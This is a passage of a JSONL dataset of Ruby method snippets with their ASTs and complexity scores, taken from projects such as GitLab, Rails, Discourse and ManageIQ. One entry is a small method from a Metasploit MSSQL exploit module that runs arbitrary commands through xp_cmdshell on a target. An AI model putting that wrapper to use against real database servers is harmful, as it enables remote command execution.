       link_type: \\\"other\\\"\\n\"]}]}]}","id":"dd665507-64de-4d79-9658-90fda79b7a4e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/throttling/recovery_service.rb","start_line":12,"raw_source":"def execute\n          # SidekiqMiddleware::Throttling::Middleware would have / will throttle this, no need to recover this worker\n          # in the meantime\n          return if needs_throttle?\n\n          recover!\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"needs_throttle?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"recover!\"]}]}]}","id":"6850c1ce-7174-444c-b566-0ac417aa21eb"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_product_feature.rb","start_line":45,"raw_source":"def description\n    value = self[:description]\n    self[:tenant_id] ? \"#{value} for tenant #{tenant.name}\" : value\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"tenant_id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\" for tenant \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tenant\"]},\"name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"0578f54a-f157-4848-accc-f00f2142ba5e"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/cache_coder_test.rb","start_line":119,"raw_source":"def load(dumped)\n        Marshal.load(dumped.delete_prefix!(\"SERIALIZED:\"))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dumped\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dumped\"]},\"delete_prefix!\",{\"type\":\"str\",\"children\":[\"SERIALIZED:\"]}]}]}]}","id":"7ce051d9-1c40-4e6f-b32a-5c90d4dc7f7f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/users_controller.rb","start_line":1562,"raw_source":"def confirm_session\n    if SiteSetting.enable_discourse_connect || !SiteSetting.enable_local_logins\n      raise Discourse::NotFound\n    end\n\n    if confirm_server_session\n      render json: success_json\n    else\n      render json: failed_json.merge(error: I18n.t(\"login.incorrect_password_or_passkey\"))\n    end\n  rescue ::DiscourseWebauthn::SecurityKeyError => err\n    render_json_error(err.message, status: 401)\n  end","complexity_score":24.03,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_session\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_discourse_connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_local_logins\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"confirm_server_session\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"login.incorrect_password_or_passkey\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"DiscourseWebauthn\"]},\"SecurityKeyError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[401]}]}]}]}]},null]}]}","id":"48c47ab0-16f5-4121-9013-9db183a45f25"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/enterprise_token.rb","start_line":64,"raw_source":"def trial_only?\n      active_non_trial_tokens.empty? && active_trial_token.present?\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"trial_only?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_non_trial_tokens\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_trial_token\"]},\"present?\"]}]}]}","id":"de4889e3-918d-4a9b-9ca6-2f29188f05b2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/infra_manager/provision_workflow.rb","start_line":63,"raw_source":"def dialog_name_from_automate(message, extra_attrs)\n    extra_attrs['platform_category'] = 'infra'\n    super(message, extra_attrs)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"dialog_name_from_automate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"extra_attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_attrs\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"platform_category\"]},{\"type\":\"str\",\"children\":[\"infra\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"extra_attrs\"]}]}]}]}","id":"0886a35e-a173-45d0-8d4d-f1341212461b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/error_tracking.rb","start_line":59,"raw_source":"def track_and_raise_exception(exception, extra = {}, tags = {})\n        process_exception(exception, extra: extra, tags: tags)\n\n        raise exception\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"track_and_raise_exception\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]},{\"type\":\"optarg\",\"children\":[\"extra\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"tags\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_exception\",{\"type\":\"lvar\",\"children\":[\"exception\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra\"]},{\"type\":\"lvar\",\"children\":[\"extra\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]}]}","id":"aa4071a9-df64-4869-a5ca-5e9271cba2fc"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/resource_controller.rb","start_line":85,"raw_source":"def destroy\n    invoke_callbacks(:destroy, :before)\n    if @object.destroy\n      invoke_callbacks(:destroy, :after)\n\n      respond_to do |format|\n        if destroy_turbo_stream_enabled?\n          format.turbo_stream do\n            flash.now[:success] = flash_message_for(@object, :successfully_removed)\n          end\n        end\n        format.html do\n          flash[:success] = flash_message_for(@object, :successfully_removed)\n          redirect_to location_after_destroy, status: :see_other\n        end\n      end\n    else\n      invoke_callbacks(:destroy, :fails)\n\n      respond_to do |format|\n        if destroy_turbo_stream_enabled?\n          format.turbo_stream do\n            flash.now[:error] = @object.errors.full_messages.to_sentence\n          end\n        end\n        format.html do\n          flash[:error] = @object.errors.full_messages.to_sentence\n        end\n      end\n    end\n  end","complexity_score":60.7,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invoke_callbacks\",{\"type\":\"sym\",\"children\":[\"destroy\"]},{\"type\":\"sym\",\"children\":[\"before\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"destroy\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invoke_callbacks\",{\"type\":\"sym\",\"children\":[\"destroy\"]},{\"type\":\"sym\",\"children\":[\"after\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroy_turbo_stream_enabled?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"turbo_stream\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"flash_message_for\",{\"type\":\"ivar\",\"children\":[\"@object\"]},{\"type\":\"sym\",\"children\":[\"successfully_removed\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"flash_message_for\",{\"type\":\"ivar\",\"children\":[\"@object\"]},{\"type\":\"sym\",\"children\":[\"successfully_removed\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"location_after_destroy\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invoke_callbacks\",{\"type\":\"sym\",\"children\":[\"destroy\"]},{\"type\":\"sym\",\"children\":[\"fails\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroy_turbo_stream_enabled?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"turbo_stream\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"errors\"]},\"full_messages\"]},\"to_sentence\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"errors\"]},\"full_messages\"]},\"to_sentence\"]}]}]}]}]}]}]}]}]}","id":"c537a304-dd9d-450c-84ae-099b0267e2de"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/zendesk_api.rb","start_line":140,"raw_source":"def fetch_users\n    puts \"\", \"fetching users...\"\n\n    user_ids = @db.execute_sql(<<~SQL).map { |row| row[\"user_id\"] }\n      SELECT user_id FROM topic\n      UNION\n      SELECT user_id FROM post\n      UNION\n      SELECT user_id FROM like\n    SQL\n\n    current_count = 0\n    total_count = user_ids.size\n    start_time = Time.now\n\n    while !user_ids.empty?\n      get_from_api(\n        \"/api/v2/users/show_many.json?ids=#{user_ids.shift(50).join(\",\")}\",\n        \"users\",\n      ) do |row|\n        @db.insert_user(\n          id: row[\"id\"],\n          email: row[\"email\"],\n          name: row[\"name\"],\n          created_at: row[\"created_at\"],\n          last_seen_at: row[\"last_login_at\"],\n          active: row[\"active\"],\n          avatar_path: row[\"photo\"].present? ? row[\"photo\"][\"content_url\"] : nil,\n        )\n\n        current_count += 1\n        print_status(current_count, total_count, start_time)\n      end\n    end\n  end","complexity_score":42.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"fetching users...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user_ids\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"execute_sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT user_id FROM topic\\n\"]},{\"type\":\"str\",\"children\":[\"UNION\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT user_id FROM post\\n\"]},{\"type\":\"str\",\"children\":[\"UNION\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT user_id FROM like\\n\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"empty?\"]},\"!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_from_api\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/api/v2/users/show_many.json?ids=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"shift\",{\"type\":\"int\",\"children\":[50]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]},{\"type\":\"str\",\"children\":[\"users\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"insert_user\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_seen_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"last_login_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"active\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"avatar_path\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"photo\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"photo\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"content_url\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"current_count\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]},{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]}]}]}]}]}","id":"fd3265bd-5097-4307-b4d3-5b55727e87b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_processing/atomic_processing_service.rb","start_line":19,"raw_source":"def execute\n        return unless pipeline.needs_processing?\n\n        # Run the process only if we can obtain an exclusive lease; returns nil if lease is unavailable\n        success = try_obtain_lease { process! }\n\n        if success\n          # If any jobs changed from stopped to alive status during pipeline processing, we must\n          # re-reset their dependent jobs; see https://gitlab.com/gitlab-org/gitlab/-/issues/388539.\n          new_alive_jobs.group_by(&:user).each do |user, jobs|\n            log_running_reset_skipped_jobs_service(jobs)\n\n            ResetSkippedJobsService.new(project, user).execute(jobs)\n          end\n\n          # Re-schedule if we need further processing\n          PipelineProcessWorker.perform_async(pipeline.id) if pipeline.needs_processing?\n        end\n\n        success\n      end","complexity_score":29.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"needs_processing?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_obtain_lease\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"process!\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_alive_jobs\"]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"jobs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_running_reset_skipped_jobs_service\",{\"type\":\"lvar\",\"children\":[\"jobs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResetSkippedJobsService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"jobs\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"needs_processing?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PipelineProcessWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"id\"]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"success\"]}]}]}","id":"0a85e4db-258c-4ed6-960a-cd19f1139220"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/exceptions.rb","start_line":41,"raw_source":"def corrections\n        @corrections ||= begin\n          maybe_these = routes&.named_routes&.helper_names&.grep(/#{route_name}/) || []\n          maybe_these -= [method_name.to_s] # remove exact match\n\n          DidYouMean::SpellChecker.new(dictionary: maybe_these).correct(route_name)\n        end\n      end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"corrections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@corrections\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"maybe_these\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"routes\"]},\"named_routes\"]},\"helper_names\"]},\"grep\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"route_name\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"maybe_these\"]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method_name\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DidYouMean\"]},\"SpellChecker\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dictionary\"]},{\"type\":\"lvar\",\"children\":[\"maybe_these\"]}]}]}]},\"correct\",{\"type\":\"send\",\"children\":[null,\"route_name\"]}]}]}]}]}","id":"f0c7f624-ed1a-4be1-b320-7326641f6cd9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/sorting_helper.rb","start_line":238,"raw_source":"def title_option\n    { value: sort_value_title, text: sort_title_title, href: page_filter_path(sort: sort_value_title) }\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"title_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"sort_title_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"page_filter_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_title\"]}]}]}]}]}]}]}","id":"2ece7336-3592-4448-a99c-3c7bda5d4416"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/mssql/mssql_payload.rb","start_line":99,"raw_source":"def execute_command(cmd, opts)\n    mssql_xpcmdshell(cmd, datastore['VERBOSE'])\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[null,\"mssql_xpcmdshell\",{\"type\":\"lvar\",\"children\":[\"cmd\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]}]}]}","id":"46c0b83c-92eb-4c31-8227-b13585646aff"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/query_utils.rb","start_line":157,"raw_source":"def switch(options)\n    options = options.with_indifferent_access\n    else_part = options.delete :else\n    \"CASE #{options.map do |k, v|\n      \"\\n\\t\\tWHEN #{field_name_for k}\\n\\t\\t\" \\\n        \"THEN #{field_name_for v}\"\n    end.join(', ')}\\n\\t\\tELSE #{field_name_for else_part}\\n\\tEND\"\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"switch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"else_part\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"else\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CASE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\\t\\tWHEN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"field_name_for\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\\t\\t\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"THEN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"field_name_for\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\\t\\tELSE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"field_name_for\",{\"type\":\"lvar\",\"children\":[\"else_part\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\\tEND\"]}]}]}]}","id":"7a8fb790-e163-49ef-9809-769e0ea30164"}
